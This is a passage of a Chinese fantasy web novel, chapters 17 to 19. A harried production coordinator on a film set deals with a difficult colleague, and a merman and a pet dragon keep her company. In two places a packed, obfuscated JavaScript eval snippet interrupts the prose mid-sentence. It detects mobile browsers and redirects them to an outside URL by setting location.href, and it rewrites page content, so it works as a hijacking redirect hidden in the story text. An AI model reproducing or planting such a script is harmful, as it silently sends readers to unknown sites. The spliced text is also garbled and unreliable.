小虞摇了摇头:“纯属偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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门口还被粉丝围堵着,几个年轻女粉丝看到小虞的脸,三三两两窃窃私语了起来。有胆大的粉丝开口对小虞搭讪:“帅气的工作人员小哥哥,能不能帮我给我家魏家隆带个话呀?或者你能告诉我他今天几点下班吗?” 小虞先被她们的热情吓了一跳,然后马上红了脸——人鱼的皮肤实在太薄了。 见他居然脸皮这么薄,门口的粉丝们就更激动了,又开始了新一轮调戏。 等到终于“历劫”完进门,小虞还满脸红晕,一副惊魂未定的样子。 丁依看着好笑,忍住了打趣他的冲动。 她问小虞:“还没问过你,你今年几岁啊?” 小虞平复了一会心情,才回答:“我也不知道自己几岁,只知道我刚成年。” 丁依奇怪:“刚成年?” “对,我到你家的时候,就是我刚刚成年的时候。” “你都不知道自己几岁,怎么知道自己有没有成年?” “人鱼一族和凡人不一样,我们不是按法定年龄来算成年的。” 没想到这条人鱼在凡人社会混了几个月,都能说出“法定年龄”这样的高级词汇了。 “行吧,那你们人鱼是怎样算成年?”丁依继续问。 她问完后,半天没听到小虞回答,便侧目看了一眼,意外看到,小虞的脸比刚刚更红了! 如果说刚刚在门口他的脸算是红得像水蜜桃,现在的他,就是红得像个大番茄!! “你没事吧?”看他这样子,丁依略慌。 “发……”小虞红着一张脸,嗫嚅道。 “什么?”丁依没听清,把一边耳朵凑了过去。 “我是说,人鱼一族判断成年的标准——”小虞满脸通红地道, “——是发情。” 17. 第 17 章 人鱼鼓起勇气把话说出口,却发现丁依并没有马上接话。 她微微歪头看着小虞,一副若有所思的样子。 看到丁依的动作,龙也跟着歪了歪脑袋。 没有比这样沉默的注视更让人尴尬的了。 小虞的视线转开,脸越来越红。 好半天,丁依才终于开口:“你……” 才出口一个字,她就被一声嘹亮的呼唤打断。 “小丁!小虞!” 来人是老杨。 他拼命冲他俩挥手,另一手拎着一个塑料袋,里面装着三盒盒饭。 听说二人是门口偶然遇到的,老杨点点头,从自己兜里掏出了小虞的工作证给他,这是昨晚的出租车上,丁依提前给他保管的。 丁依经手的工作证太多,一般不会注意大家的本名。之前递证件材料的时候,她也没有留意过老杨的摄像究竟叫什么。等小虞戴上工作证时,她专门偷瞄了一眼—— 虞仁甄。 “真人鱼”,好没创意的名字。 终于碰头的三人,找了张休息区的空桌子坐下一起吃饭。 一打开盒饭盖子,丁依就往嘴里塞菜,吃得腮帮子鼓鼓囊囊,她今天没吃早饭,又忙到现在,连之前瞧不上的干巴盒饭也真香了。 老杨则是一以贯之的胃口好。 只有小虞,对着盒饭里的肉饼炖蛋和豆角面露难色,勉强选择夹起几粒米意思下。 龙见状,伸头好奇地闻了一下盒饭,闻完鼻子直皱,猛地打了个长长的喷嚏。 “阿——嚏!” 一声响亮的喷嚏,让丁虞龙三人都瞬间顿住。 老杨也听到了声音。他从饭盒里抬头,在丁依和小虞间左右回看,心里纳闷这一声“阿嚏”是谁打的,肯定不是丁依,但也不像小虞。 他的视线看向小虞“空空”的的肩头——奇怪,总觉得刚刚声音是从这里传来的。 感受到老杨的视线,小虞做作地揉了揉鼻子,正想说点什么掩饰,突然对面伸出一只手,啪地一下把他的饭盒给盖上。 “别吃了。” 丁依的音量不高,语气却有些不耐烦。 小虞以为丁依在帮龙掩饰,便顺着她的话答应下来:“好的,刚刚我的鼻涕都喷进盒饭里,这盒确实没法吃了。” 龙却察觉到什么,压着耳朵缩到小虞的脑袋后面,尾巴也紧紧地盘起来,鼻头却轻轻地一耸一耸,好像在嗅闻某种气味。 老杨问小虞:“那我帮你再去拿一盒盒饭?还是你想吃外卖?” 小虞摇摇头,表示自己刚刚在外面吃过了,原本也不饿。 听到小虞这么说,丁依又忍不住“狙击”: “不饿干嘛开一盒?浪费粮食!” 老杨和小虞转头看她,这次,他俩都听出了丁依话里隐隐的怒火。 不过,浪费粮食确实不对,听丁依这么说,老杨也后知后觉地不好意思起来,她替小虞道了歉,表示下次如果不吃盒饭,自己会提前跟丁依说。 一旁的小虞却没说话,这条人鱼若有所思地打量着丁依,不知道在想些什么。 老杨道完歉,见丁依还是板着脸用筷子狂戳盒饭里的肉饼,便挠挠头,换了个下饭一点的八卦话题:“小丁你听说了吗,魏家隆又出幺蛾子,这次他和舞台导演吵起来了。” 虽然这几天已经听了无数件魏家隆的“幺蛾子”,但这件事丁依倒还真没听说, 她皱了皱眉,本想要正常回应,脱口而出的却变成: “多新鲜啊,他这几天不就是到处吵架吗?” 说完,对上老杨愣住的眼神,丁依心里涌上迟来的后悔。 自从刚刚找到龙,她就觉得自己有点不对劲。好像那股紧张的劲松懈下来后,她反而觉得胸口一直憋着一股无名闷气,见到谁都有点想发火,像一颗不知道什么时候会爆炸的不定时炸弹,随时准备开启怼人模式。 这种状况让丁依很不安,她在心里告诉自己:丁依,你今天工作任务很重,而且已经耽误很多时间了,接下来要专业一点,不要发火。 吃完饭,老杨带着小虞继续蹲守练舞房。三人要分开时,小虞突然皱起一张脸,肩膀也怪异地扭起来——原来,他肩上的龙正拿爪子死命掐他。 见丁依的视线转过来,龙立刻投以委屈巴巴的眼神,一双晶莹剔透的蓝眼珠里仿佛马上要滴出水来。 眼看老杨就要回头,丁依叹了口气,伸出一只手,用口型对龙道:“过来。” 龙的眼睛一下子亮了,像两颗淡蓝色的小灯泡。 它衔住铃铛,蹲下前肢,纵身一跃—— 下一秒,龇牙咧嘴的人就从小虞变成了丁依。 好家伙,它趴在别人身上时还不觉得,等趴在自己身上时,立马就有了实感——真是Duang大一条。 她和龙商量:“你能不能还是先变小,呆在我包里,要是实在不舒服了,你再出来?” 这次龙没有再耍赖。它点点头,十分乖巧地答应了,自己变小钻进了丁依的帆布包里。 丁依回到拍摄房间时,张铭还坐在门口的椅子上打瞌睡。 她看了看门上贴着的拍摄通告,发现已经被划掉了三分之一,这些是已经拍完的;又对照了下时间,进度比原计划延迟了一个小时。 她皱起了眉——怎么搞的,一下子延迟了这么多? 丁依一巴掌把张铭拍醒。 “别睡了,把这儿当酒店呢?” 话说出口,丁依又怀疑自己语气还是太冲,在心底再次和自己强调:专业一点,不要发火。怼怼张铭这种老油条领导就算了,千万别再怼其他人了。 悠悠醒转的张铭看到丁依,打了个哈欠道:“你回来啦?” 丁依怀疑地盯着他:“你不会一直在这里睡觉吧?” 张铭扬了扬眉毛:“当然没有,我中间还离开吃了个饭,才回来睡觉的。” 听他这样说,丁依怼他的话已经冲到了喉咙口,又被她自己生生咽了下去。 专业一点,不要发火。 张铭接着又道:“你安排得这么好,流程时间紧密,各方无缝衔接,也没什么我发挥的空间。更何况——”他用下巴示意了下房间里的拍摄现场,“——来了个‘特别’乐意操心的人,就更用不上我了。” 对张铭日常发射的“领导专属糖衣炮弹”,丁依早已经免疫。但听到他说“来了个乐意操心的人”,她心中却升起警惕。 她走进房间,拍摄现场人头攒动。艺人、化妆师、造型师、艺人PD、导演、摄像、灯光、收音、统筹、助理……一堆黑压压的人群中,一个亮粉色身影尤其引人注目,她坐在监视器前,把导演都挤到了一旁,同时,她正用高分贝的嗓音把满场的技术工种呼来喝去: “等会!摄像先别开机,让造型师再收一下腰身。” “等会!收音快听一下,项链这都压到麦了,收音会不会不干净啊?” “等会!化妆师呢?艺人老师的鼻子都油了,你没看到啊!” 这声音,丁依可太熟悉了。正好此时,这道亮粉色身影微微转过身子——果然,是姗姗来迟的陈妮。 隐藏在暗处,丁依观察了一会儿,发现: 每当拍摄稍微顺利一点,陈妮就会从鸡蛋里挑出一根骨头,大声地打断拍摄,要求负责的技术工种检查。 而被陈妮颐指气使的众人,虽然都是一脸看傻子的无语眼神,却仍是闷声照做,无人发声指出问题。 想来,拍摄进度就是这样被拖慢的。 这个拍摄团队的负责人,此刻正站在一旁,急得满头大汗。 发现角落里的丁依,她像看到了救星一样两眼发光,快步跑到丁依身旁,向丁依吐起了苦水:“丁依,这个穿粉色衣服的说她是你同事,一来就随意打断拍摄,我们问了张铭老师,他也不管,现在已经比通告单延了一小时,再这么拖下去,要是拖过了凌晨,再加一天钱,预算可撑不住了。” 技术工种都是按天算钱,超出预算确实是个大问题,听完她的话,丁依点点头表示知道,挤开人群,向陈妮走去。 陈妮一看到她,立刻用超高分贝大喊道:“哎呀,丁依,你来啦?我在这忙了快两个小时都没看到你,你去哪儿了呀?” 拍摄再次被打断,全场的所有工作人员和艺人都看向了丁依。 丁依深吸了一口气,再次在心底默念那“八字真言”: 专业一点,不要发火。 她避开了陈妮的问题,单刀直入道:“陈妮,我过来是提醒你,现在我们的拍摄进度严重delay,艺人还有其他老师们后面都有其他工作通告,接下来的拍摄里,技术问题就交给各工种老师们判断吧,我们把控流程就好。” 陈妮一脸无辜道:“嗯嗯,我知道啊,不过丁依,再怎么抓时间进度,也不能牺牲拍摄质量吧?” 丁依努力平心静气,耐着性子道:“不会牺牲拍摄质量的,我不是说了吗,各工种老师会判断他们各自负责的技术问题的。” 陈妮睁大眼睛:“可刚刚就有技术工种出错了呀!” 什么出错,还不都是你找茬! 正在丁依即将爆炸的关头,她余光瞥到站在人群外围观的张铭,突然像泄了气的气球,发不出脾气。 “好吧,那你还是注意控制进度。”丢下这句话 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龙想了想,歪了歪脑袋。 见这个问题没答案,丁依又想起另一个问题: “你今天为什么自己从房间里跑出来?” 龙又眨着蓝眼睛,作出一副思考的样子。 丁依原本就不抱期待,只是随机试着问问。见它这副样子,她便以为又没有答案。 正当她思路即将飘走时,眼前突然闪过一点黑影。 黑影接二连三掉落——是龙变出的灵虾。 丁依吓了一跳,第一时间看向周围,接着才反应过来——普通凡人是看不见灵虾的。 在她命令龙停止变出灵虾后,龙歪了歪脑袋,又开始咔哧咔哧地把灵虾吃掉。 看到这个情景,丁依灵光一闪: “你变出虾,是想告诉我——你跑出房间,是因为你饿了?” 龙点点头。 这就合理了,丁依找到它时,它确实正在和人鱼一起吃虾。 可是,既然它都可以自产自销灵虾了,干嘛非要从房间里跑出来? 这个问题太复杂,估计以龙目前的表达能力还回答不了,丁依决定暂时不问。 如果有一天这条龙会说话了,倒是可以问问。不过,会有那么一天吗?丁依陷入了沉思。 这么一打岔,刚刚她闭眼时横亘在脑海中的繁杂画面,渐渐消散开来。 倦意涌上头脑,不知不觉,丁依在一片嘈杂的拍摄现场睡着了。 “小丁老师!小丁老师!” 一个声音急切地在丁依耳边喊她。 丁依被这个声音叫醒,睁开眼后,她第一时间看向身边——睡前还在她身旁蹲着的龙不见了,取而代之的,是她“帆布包”里有什么轻轻地动了动。 叫醒丁依的是另一位艺人PD。 见丁依睁眼,她急切地开口道:“小丁老师,是这样,现在咱们现场的拍摄进度实在太慢了,下面一组艺人都已经等了半个小时了,他们现在每分每秒的练习时间都很宝贵,真的耽误不起!” 丁依听完点点头,道:“不好意思,我理解,麻烦稍等一下”。 说完,她起身活动了一下筋骨,用适中的步速向门口走去。 艺人PD在她身后,焦急地看着丁依的背影不紧不慢地走出了房门。 下一秒,房门外传出了一连串石破天惊的怒吼: “张铭!我问你!今天这个到底是不是你的活!!!!!!!” “现在全世界都在准备投诉了,你到底管不管!!!!!” “你要是不管,我也不会管的!!!!!!” “之后你临时塞给我的所有活!!!!我也都不会做了!!!!” “你爱用不靠谱的人你用!!!不要牵连我!!!!!” 吼声结束,在现场众人目瞪口呆的死寂中,张铭若无其事地走进来,身后紧跟着一脸平静的丁依。 张铭拿出领导的派头,对大家和煦地笑了笑,然后板着脸把陈妮叫了出去。 等陈妮不情不愿地走了出去,丁依才和拍摄现场的众人道:“好了,各位老师继续拍摄吧,辛苦加快一点进度。” 现场重新恢复嘈杂,一切回到正轨。 丁依隐身在角落,继续监督哪里的流程时间可以加快和优化,希望把刚刚的小插曲浪费的时间尽可能地挽救回来。 另外,她也在想:自己只是怼了一下领导,应该不算是发火,吧? 正当她这样想着,帆布包里的龙又动了动,仿佛是在回应她脑中的话。 18. 第 18 章 当天丁依这边的后续拍摄,大抵还算有条不紊。 不过,在拍摄过程中,她陆续收到了一个好消息,和一个坏消息。 先说好消息。 尽管丁依这边的拍摄进度因为前面陈妮的“小插曲”而整体延后了两个小时。但由于影视行业人均“延后病”,所以夹在「通告协调群」里各方长短不一的“进度延后通知”中,丁依这边倒真不算最显眼的了。 事实上,目前的“延后榜第一名”,是舞台总监那边的商谈进度。据说,之所以他那边最慢,就是因为他在和魏家隆“吵架”后,气得三小时没营业。 总之,魏家隆又吵架了、魏家隆是刺头、魏家隆又出幺蛾子……诸如此类的说法,丁依这两天已经从无数人嘴里听到,导致现在她再听到魏家隆的任何新状况,都觉得理所当然——估计魏家隆这个人,确实自身问题比较严重吧。 而另外那条坏消息,居然是小虞——那条大名虞仁甄的人鱼带过来的。 “我听说,刚刚,你在所有人面前大骂你领导啦?” 他问出这句话的时候,丁依刚在他面前游刃有余地解决了一件工作上的麻烦事。 听完他的问题,丁依仍保持着刚刚处理棘手事务时稳定的面部表情管理。 “你在哪儿听说的?” “练舞房,其他摄像聊天的时候说的。” 在剧组,摄像大哥们总是八卦传播的中转站。 丁依回答了他的上一个问题:“没有,我最多就算稍微怼了他一下,这种节奏紧张工作场合,怎么可能大骂领导呢?” 听她这么说,虞仁甄扫了一眼她这边乌泱泱的人群,和紧锣密鼓进行的拍摄,确实不像能发生这种事件的样子。 人鱼提问:“所以,在你们凡人的职场,怼领导是正常的对吧?”他刚入凡人职场,对职场知识抱着一种求知若渴的精神。 “嗯……”丁依皱着眉思考了一下,“也要看具体情况,基本上,如果你占理,是基于专业处理问题的出发点,只是用比较强烈的态度,对领导表达自己的意见,那就是正常的,比如我刚刚那样。” 说完,她又补充:“但如果纯粹的乱发火,那就是不正常的。” 人鱼点点头表示受教,他又提问:“那当初我在你家的时候,你对我大吼大叫,是算‘基于专业处理问题的出发点,只是用比较强烈的态度’,还是‘纯粹的乱发火’?” 听到这句,丁依终于忍不住瞪了他一眼: “两个都不是。我当时对你,那叫‘以牙还牙,以眼还眼’。” 她说到这句时,包里的龙忍不住钻出一个头来,拱到她身上乱嗅,被丁依一把塞了回去。 这条龙今天怎么回事?一天到晚的嗅嗅嗅嗅嗅嗅嗅嗅! 人鱼的话勾起了丁依的回忆。 别看这条人鱼现在一副人模人样的派头,想当初,丁依第一次见到他的时候,他的落魄程度,不过就比包里那条龙要好一点罢了。 那也是一个瓢泼的雨夜。 打开小马送来的木箱,丁依悬浮到空中,俯视着箱底那一条鱼尾人身的年轻雄性人鱼。 他的全身都粘满土黄的沙砾,苍白的人类上身和鱼尾上都遍布被沙烁中的石头划蹭的伤口。头发和鱼尾颜色晦暗不明,失去了美丽的淡金色光芒。 不知道因为什么,这条人鱼还不能熟练地把鱼尾化形成双腿,就已经离开了海洋、搁浅在了人迹鲜至的沙滩。 因为应激,在被小马运来的过程中,他持续地用鱼尾在木箱里拼命地拍打,把原本就有的伤口剐蹭得更加严重。 感受到木箱上方亮起的光线,应激的年轻雄性人鱼抬起头。 目光接触到丁依的瞬间,他的金色瞳孔像点燃的战火,燃烧起充满敌意的火光。 不等丁依反应过来,一声尖锐的啸叫刺痛她的耳膜,人鱼那头裹满沙烁的长发像海藻般快速蔓延开来,分秒之间攀上木箱的箱沿,直冲丁依的脖颈扑来…… 咳咳咳。直到今天,只要回想起当时的情景,丁依的喉咙就一阵生疼。估计,她的呼吸道也被那次的意外搞得应激了。 这个窒息的“见面礼”,不过是她被这条人鱼折磨的开始。 从那之后,在为了治疗这条半身不遂、情绪暴躁、牙尖嘴利的年轻雄性人鱼,以及帮助他进行“妖怪社会化”的过程里,丁依简直眼前一黑又一黑。 比如,自从人鱼进了她家,她家就开始动不动就泡在水里,连带着她的左邻右舍、楼上楼下都遭殃。挂在公寓物业的黑名单上、被物业负责人疯狂追杀是丁依的生活常态。 她自己身上,也是一言不合就上演血光之灾:被人鱼那一嘴尖牙给咬的、被那双又像蹼又像爪子的手挠的、被鳞片刮的、被鱼尾拍的……数不胜数。那段时间,她总是身上挂彩。 此外,交流也是个大问题。 每当丁依试图和这条人鱼用凡人的语言交流时,他却永远只会回以凶狠的龇牙和哈气。 丁依没有办法,只好通过观察,建立了一个她自己的“人鱼行为学体系”: 人鱼龇牙一下,代表“好的,可以接受”; 龇牙两下,代表“还行,可以试试”; 龇牙三下,代表“轻度厌恶,尝试时要小心”; 龇牙四下,代表“重度排斥,肯定会攻击她”; …… 这样想来,相比当时的人鱼,自己兜里那条龙,已经算是一条不怎么添麻烦的天使妖怪崽了。 曾经那样的人鱼,居然最后变成了此刻面前规规矩矩的样子,甚至被调戏了还会脸红害羞,想想就觉得神奇。 听到丁依提起“以牙还牙,以眼还眼”,人鱼想起了当年自己的胡作非为,脸不由得又红了。 这让丁依想起了上午没聊完的话题。 “你的意思是,当人鱼开始发情,就代表着它成年了?” “……对。” “那你怎么知道,自己开始发情了呢?” “什么?”小虞的脸更红了。 不知道是不是他的错觉,他总感觉丁依提问的时候眼睛好像在往下瞟。 “嗯……或者换个说法,当你开始发情的时候,你的身体有什么变化吗?” 这下小虞相信了,刚刚丁依的眼神不是他的错觉。 他有点恼羞成怒:“我的身体当然会有变化!我的鱼尾会第一次变成人腿,我也会第一次化形成人,走上陆地。” 丁依奇怪道:“所以当我第一次见到你,你其实就已经能化形成人?那为什么梁凡说他在沙滩上把你救起来时,你是拖着鱼尾在沙里蛄蛹?” 她还记得,当时梁凡告诉她,他原本以为小虞是条搁浅在沙滩的人鱼,可当他试图把小虞推回海里时,小虞不仅表现得非常愤怒,还马上奋力游回了沙滩上,继续在沙里蛄蛹。梁凡观察了一整个晚上,实在看不下去,才把这条人鱼打包送来了丁依这里。 听到丁依的问题,小虞扶额:“为什么?如果是你当了十八年的人,突然有一天能变成鱼了,而且是人和鱼之前随意转换,你能控制自如吗?你能马上用鱼尾巴在海里游吗?” 丁依恍然大悟,原来如此。小虞当初刚来自己家的时候,下半身确实总是在鱼尾和人腿之间来回横跳。往往是自己把他从水里捞出来,腿变鱼尾了;好吧那把他丢回潭水里,鱼尾却又变腿了。当时她不知道这个,还以为是这条人鱼又在整蛊自己。 “那除了鱼尾会变成腿,还有什么变化吗?” “还有……肚子总觉得饿。” 丁依点点头,这也正常,发情期嘛,肯定需要更多能量。 不过……除了这两种变化外,没有其它的了吗?没有……那一种变化吗? 丁依犹豫了一下,还是开口问道: “那除了这两个变化之外呢?那种比较微妙的变化呢?有吗?” 这话被她说的语焉不详。边说,她的眼睛边不自觉地往下瞟去。 注意到她的表情,小虞更愤怒了。 “没有了!没有你想的那种变化!” “真的吗?”丁依怀疑道。 “真的!我说真的!没有!完全没有!烦死了,你怎么光想这些!” 小虞吼道。他希望丁依不要再追问这个问题,因为他觉得自己的脸已经热得快要融化了。 不过丁依用奇怪的眼神打量了一下小虞涨得通红的脸后,还是选择继续追问: “所以,你那个时候的坏脾气,并不是因为发情期?” 听到丁依的话,小虞一下子愣住了。 他很快反应过来自己可笑的误会,脸上的绯红褪去了大半,重新变回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536542|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍白。 “原来,你说的是这个?” “不然呢?你以为是什么。”丁依奇道。 “不,我没有以为。”小虞嘴里嘟囔着,他眼神游移开来,自我消化了一下,才重新看向丁依:“你猜的是对的,我当时的坏脾气,就是因为发情期。” 丁依舒了口气:“果然如此。” 小虞用探究的眼神注视着她:“你早就猜到我那个状态,是因为发情期?” “这倒没有,不过,当时你那种狂躁的状态持续了很久之后,居然会毫无征兆地突然结束,那估计,就和激素之类的原因有关吧。”丁依解释道。 她还记得,那个时候,说不清来龙去脉,突然就有一天,人鱼就不再给她惹那么多麻烦了。水漫金山变少了;他开始试着开口用凡人的语言和自己说话沟通;没人注意的时候,他开始自己练习用人腿走路。 那个时候丁依就觉得,之前他那么狂躁,可能是因为人鱼的青春期——或者之类的原因吧? 说起来,发情期和青春期,好像也没什么差别。 “那你刚刚说话的时候,眼神为什么老往……老往我下面看?”问出这个问题,小虞刚白了没一会儿的脸皮又红了。 “哦,你说这个——”丁依向前一大步,突然向小虞的腰间伸手,猝不及防地拉起他的上衣,“——我看你的衣服弄脏了,本来想说完发情期的话题再跟你讲的,不过这个污渍实在太显眼了,所以眼睛老是忍不住看它。” 小虞低头,果然看到自己的衣服下摆有一大块显眼的白灰。 好吧,原来如此,小虞忍不住扶额。 不过,他在心里偷偷想:其实,那一种变化,也不是像自己说的一样,“完全没有”。 结束了一整天的工作和各种意外,一回到酒店房间时,丁依的血条已经属于极限状态。 她外套也没脱、被子也没盖,包往地上一丢,人扑倒在床上,原地睡着了。 半夜,丁依被什么东西压得透不过起来,像是鬼压床。 她艰难地醒转,翻身一看,一双无辜的蓝眼睛像暗夜里的夜灯。 果然,就知道还是这条龙。 它又自己变大了,而且似乎变得比以往还大,满满当当盘住了整个床,连她的地盘都被侵占,还有一条大尾巴掉在地上。 丁依摸了摸它脖子上的铃铛。这驭灵圈估计坏了,根本控制不了这条龙,改天她要和师父说说。 见丁依醒来,龙又开始在她身上嗅来嗅去。丁依把它的头推开,它又坚持靠过来。 她惊讶地发现,龙的身体变大之后,力气好像也变得更大了,自己差点推不动它。 “我身上到底有什么味?你都闻了一天了。”她无语道。 她下床想要去卫生间洗漱。站起回身时,她突然停住。 洁白的床品上有一些隐隐的血渍——原来是她的月经来了。 用清洁咒弄干净床铺和衣服时,丁依感慨:这是她学法术学得最值的时候。 胸口那股无名闷气,似乎也在不知不觉之间消失了。 明天,她应该不会莫名其妙地想发火……了吧? 肚子突然暴饿,丁依点了外卖夜宵。 吃的时候,龙又凑近过来,眼巴巴地望着,馋得口水直流。 “这个不适合你吃,而且,你不是自己可以变灵虾吗?”丁依和它打商量。 龙不为所动,喉咙伸出持续地挤出一种类似轮胎漏气的声音。 丁依被它缠得没办法,只好又从袖里乾坤里掏出一块之前陶叔给的蛋糕。 龙看着面前的蛋糕,没有马上就吃,而是抬起头歪了歪脑袋, 下一秒,房间里细碎的“啵啵啵”声,天花板上又下起了“灵虾雨”。 丁依唬了一跳,刚想开口,“灵虾雨”就停了。 龙低头,哒哒哒地四处衔起掉落地上的灵虾,然后回到丁依面前。 “你干嘛?”丁依一脸迷惑。 龙衔着满嘴的灵虾,把鼻子伸到丁依的手下,把她的手拱起来。 丁依懵懵懂懂地照做。“让我抬着手?好,然后呢?” 然后,龙把一嘴的灵虾,都放到了丁依的手上。 谢谢你给我的,这些是我给你的。 龙用它的蓝眼睛,静静地看着丁依。 19. 第 19 章 看着手上跳动的灵虾,丁依很意外。 她把视线从灵虾移开,探究着望进龙的眼睛,只看到一如从前的清澈见底。 好吧,丁依推测,这应该是一种自发的交换行为,但她不知道是什么触发了龙做出这种行为。从之前她和它的相处来看,这并不是它固有的行为模式。她只好猜测:它这么做,或许是出于乞食的目的,比如通过交换来向自己讨要更多的食物。 她揉了揉龙后颈的鬃毛表示感谢,便把灵虾放在一边,继续吃自己的外卖麻辣烫。 龙吃完自己的蛋糕,又跑过来看她吃饭。 看到丁依还在吃麻辣烫,它又凑过来嗅了嗅,然后皱起鼻子,用嘴衔起一枚灵虾,往丁依的手上塞。 这个动作的意思算是比较明确了。 “你想要我吃这个?”丁依捻着那枚蹦跳的灵虾,看着龙的眼睛问。 龙点点头。 丁依本想说她不吃灵虾,但转念一想,还是撒了个小谎:“这虾我晚点会吃的,我先吃这个。”她用筷子点了点自己面前的麻辣烫。 听完丁依的话,龙不仅鼻子皱着,眉头也皱起来了,喉咙里又响起那种轮胎漏气的声音。 看到龙的表情,丁依忍不住凑近去看。 她第一次注意到——龙原来也有眉头。 吃不吃灵虾的问题被她搁置到一边,她伸手沿着龙的鼻梁往上摸,在鼻梁和眼眶的衔接处,她摸到了眉骨的轮廓,她把手指伸进长而柔软的毛里,轻轻按揉那一小块因为生气而皱起的肌肉。 龙皱起的眉头和鼻子都放松了下来,鼻孔轻轻地喷着气。 丁依没有停手,她继续沿着眉骨往上,一路沿着太阳穴揉按上去,发现龙的眉骨正连着它的龙角。 摸到龙角,丁依一下子瞪大了眼睛。 龙角居然是热的! 这一双龙角,不仅暖暖的,热热的,还覆盖着一层天鹅绒般的短绒毛,手指用力压下去,甚至有一点点弹性。神奇的质感让丁依忍不住对龙角又摸又捏。 被摸龙角时,龙一开始没什么反应,它的注意力似乎还在丁依不肯吃的灵虾那里。 等丁依沿着龙角的正面根部,摸到了龙角的顶端,又从龙角的顶端,摸进了龙角的枝杈,她还不停手,还要往后摸时,龙开始越来越不安,它的耳朵扇动得越来越快,似乎是在强行按捺住自己。 等丁依的手触碰到龙角后面和耳朵的连接处时,它突然整个龙弹射起飞,龙身撞到天花板上又落到床上,张嘴发出一声清越响亮、悠长连绵的声音。 这一声落下,不仅丁依有点被震慑住了,龙自己也楞在床上。 如果说之前龙发出的那种轮胎漏气的声音,有点类似于人的哼唧,那刚刚这声就更像真正意义上的龙吟,声音里仿佛夹带着雨和风的声音,像从亘古不变的苍穹之中穿梭而来。 从龙吟的震撼中回过神来,丁依转头,看着面前被撞翻的麻辣烫,和撒了自己一身的汁水,内心感慨:没想到她学法术学得最值的时刻,一晚上居然能经历两次。 用清洁咒再次清理干净床铺和衣服,处理掉不能吃的麻辣烫,丁依洗了个澡,换上睡衣,准备直接上床。 人已经躺到床上,正准备钻进被窝时,她突然感觉到床重重地沉了一下。 她和跳上床的龙大眼对小眼,然后叹了口气。 “这事居然还没结束?你就非得让我吃这个吗?” 龙衔着嘴里的灵虾,重重地点了一下头。 第二天中午,绿洲影视基地,一处无人的角落。 看着丁依自然而然地接过龙衔给她的灵虾,然后丢进嘴里咔嚓吞了,对面的人鱼简直惊掉了下巴。 他来回地打量丁依,心里怀疑她被哪只水族妖怪附身了。 看到人鱼的表情,丁依无奈地耸耸肩,解释道:“从昨天晚上开始就这样,非逼着我吃这个。” 昨晚,和龙对峙良久,丁依最终还是逼自己吃下了灵虾。 好在,灵虾有“虾”的形,却无“虾”的实,轻轻一嚼就化为灵气吞入喉咙,还不那么让她难以接受。 本以为这关就算过了,没想到今天早上醒来一睁眼,龙又再次衔着灵虾,硬是要她吃。 再到今天中午,刚刚她正准备掀开盒饭的盖子,这条龙就又从包里钻出来,咬着灵虾往她手里塞。 没完没了了! “算了,灵虾好歹比你们凡人的盒饭好,吃就吃吧。”小虞劝道。 一旁的龙听到他的话,附和地点点头。 这一鱼一龙对于盒饭的味道都是万般嫌弃。之前丁依就发现,妖怪们都很讨厌这种加了“科技和狠活”的凡人食物。陶叔每次听说她平时吃这些,都急得吹胡子瞪眼,恨不得让她打包一年份的灵食回去。 不论如何,这话题就算过了。丁依看着独自一人自在悠闲的小虞,问道:“老杨呢?你领导这样的盒饭狂热爱好者,今天居然不吃午饭?” “他和那群节目组的摄像一起吃,”小虞答道,“他最近都和他们泡在一起,好像是为了给那档纪录片做什么准备。” 哦对!还有那档幕后纪录片。丁依有点惭愧,虽然这也是她负责的项目,但因为已经有了保底方案,所以别的事一忙起来,她就完全把它抛在了脑后。 “他有什么计划?和你说了吗?”她问。 “嗯,这两天他让我零零碎碎拍了点幕后的素材,现在就只要解决魏家隆本人不愿意配合的问题了。” 丁依皱皱眉。这不是废话?从开始到现在,“魏家隆不愿意配合”一直就是这档纪录片遇到的最大也唯一的问题。 听完丁依的质疑,小虞毫不在乎:“管他呢,让老杨操心吧,他让我干啥我干啥,天塌下来领导顶着,这不是你们凡人说的吗。” 丁依心想,天要真塌了,她这个甲方就只能按头老杨这个乙方用保底方案,哪怕他不愿意了。 “而且,万一实在不行,我还可以游回海里溜了,”小虞又道,“正好这边离海近。” 丁依:可恶,真羡慕你们这帮没有责任感的妖怪。 聊着聊着,小虞的鼻子动了动。 他有些紧张地看向丁依:“你受伤了吗?身上怎么有血味?” 反应过来他闻到的“血味”是指什么,丁依摇摇头,说自己只是月经来了。 小虞是第一次听说月经。他不顾丁依有些窘迫的神色不停地追问,丁依只好被迫和一条年轻的雄性人鱼科普了一个普通凡人女性生殖系统周期性变化的规律。 没想到,听完之后,小虞居然共情了。他慨然道:“听起来和人鱼的发情期挺像的,你看,我发情期的时候,身体、情绪、思维也都不受自己控制。” 虽然好像确实是一个性质的东西,但丁依并不想就这么承认。她反驳道:“虽然月经那么痛苦,我也没有像你那样随便伤人,不要抛开剂量谈毒性。” 见自己的盒饭吃得差不多,丁依看了看时间,便要和人鱼道别,继续今天的任务。 见她想带走盒饭丢掉,小虞便说他来代劳,反正垃圾桶在他要去的方向。 丁依点头道谢,起身便要走人。 站起来的瞬间,丁依就感觉身下涌出了一大股。她不动声色地偷看了一眼人鱼,幸好,他正皱着鼻子收拾盒饭,不像闻到了别的什么味道。 趁此机会,她赶紧快步走开,一边在心底叹气。虽然是正常的生理现象,但想到自己每次“大出血”的瞬间都有可能会被这些鼻子灵敏的妖怪闻到,还是会觉得有点尴尬。 做女人真是不容易! 她走得太快,把龙忘在脑后,它自觉地哒哒哒小跑跟上来。一跟上来,就又凑到她身边嗅来嗅去。 有了刚刚人鱼的提醒,丁依后知后觉地反应过来这条龙这两天在嗅什么——估计来潮前她身上会散发出什么她自己不知道的气味,居然被这条龙给闻到了。 她恼羞成怒地推了一把龙的脑袋: 